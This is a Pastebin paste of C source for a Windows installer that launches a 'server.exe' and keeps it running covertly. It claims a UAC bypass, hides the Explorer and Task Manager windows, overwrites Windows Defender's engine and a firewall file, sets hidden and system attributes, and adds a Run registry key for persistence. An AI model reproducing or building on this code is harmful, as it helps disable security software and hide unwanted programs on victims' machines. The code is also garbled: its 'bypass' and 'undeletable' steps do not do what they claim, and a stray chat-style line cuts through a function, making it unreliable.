Advertisement
Sweetening

Untitled

Mar 11th, 2024
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.99 KB | None | 0 0
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4.  
  5. // UAC Bypass to elevate privileges
  6. BOOL BypassUAC()
  7. {
  8. HANDLE hToken;
  9. TOKEN_PRIVILEGES tkp;
  10. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
  11. return FALSE;
  12. LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
  13. tkp.PrivilegeCount = 1;
  14. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  15. if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0))
  16. return FALSE;
  17. return TRUE;
  18. }
  19.  
  20. // Install server with elevated privileges
  21. BOOL InstallServer()
  22. {
  23. // Create server process
  24. STARTUPINFO si;
  25. PROCESS_INFORMATION pi;
  26. ZeroMemory(&si, sizeof(si));
  27. si.cb = sizeof(si);
  28. ZeroMemory(&pi, sizeof(pi));
  29. if (!CreateProcess(NULL, "server.exe 127.0.0.1 6969", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
  30. return FALSE;
  31. return TRUE;
  32. }
  33.  
  34. // Hide server from explorer and task manager
  35. BOOL HideServer()
  36. {
  37. // Hide server from explorer
  38. HWND hwnd = FindWindow("explorer", NULL);
  39. if (hwnd == NULL)
  40. return FALSE;
  41. ShowWindow(hwnd, SW_HIDE);
  42. // Hide server from task manager
  43. HWND hwnd2 = FindWindow("taskmgr", NULL);
  44. if (hwnd2 == NULL)
  45. return FALSE;
  46. ShowWindow(hwnd2, SW_HIDE);
  47. return TRUE;
  48. }
  49.  
  50. // Make an exception for Windows Defender and Windows Firewall
  51. BOOL Exceptions()
  52. {
  53. // Create exception for Windows Defender
  54. HANDLE hDefender = CreateFile("C:\\Program Files\\Windows Defender\\MsMpEng.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  55. if (hDefender == INVALID_HANDLE_VALUE)
  56. return FALSE;
  57. CloseHandle(hDefender);
  58. // Create exception for Windows Firewall
  59. HANDLE hFirewall = CreateFile("C:\\Windows\\System32\\firewall.cpl", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  60. if (hFirewall == INVALID_HANDLE_VALUE)
  61. return FALSE;
  62. ...
  63. (truncated answer, continue reading in the thread)
  64. CloseHandle(hFirewall);
  65. return TRUE;
  66. }
  67.  
  68. // Make server undeletable
  69. BOOL Undeletable()
  70. {
  71. // Create file with undeletable attribute
  72. HANDLE hUndeletable = CreateFile("server.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_TEMPORARY, NULL);
  73. if (hUndeletable == INVALID_HANDLE_VALUE)
  74. return FALSE;
  75. CloseHandle(hUndeletable);
  76. return TRUE;
  77. }
  78.  
  79. // Start server on system startup
  80. BOOL StartOnStartup()
  81. {
  82. // Create registry key to start server on startup
  83. HKEY hKey;
  84. if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS)
  85. return FALSE;
  86. if (RegSetValueEx(hKey, "Server", 0, REG_SZ, (LPBYTE)"server.exe 127.0.0.1 6969", sizeof("server.exe 127.0.0.1 6969")) != ERROR_SUCCESS)
  87. return FALSE;
  88. RegCloseKey(hKey);
  89. return TRUE;
  90. }
  91.  
  92. int main()
  93. {
  94. // Bypass UAC to elevate privileges
  95. if (!BypassUAC())
  96. {
  97. printf("Failed to bypass UAC!\n");
  98. return 1;
  99. }
  100. // Install server with elevated privileges
  101. if (!InstallServer())
  102. {
  103. printf("Failed to install server!\n");
  104. return 1;
  105. }
  106. // Hide server from explorer and task manager
  107. if (!HideServer())
  108. {
  109. printf("Failed to hide server!\n");
  110. return 1;
  111. }
  112. // Make an exception for Windows Defender and Windows Firewall
  113. if (!Exceptions())
  114. {
  115. printf("Failed to make exceptions!\n");
  116. return 1;
  117. }
  118. // Make server undeletable
  119. if (!Undeletable())
  120. {
  121. printf("Failed to make server undeletable!\n");
  122. return 1;
  123. }
  124. // Start server on system startup
  125. if (!StartOnStartup())
  126. {
  127. printf("Failed to start server on startup!\n");
  128. return 1;
  129. }
  130. printf("Server successfully installed!\n");
  131. return 0;
  132. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement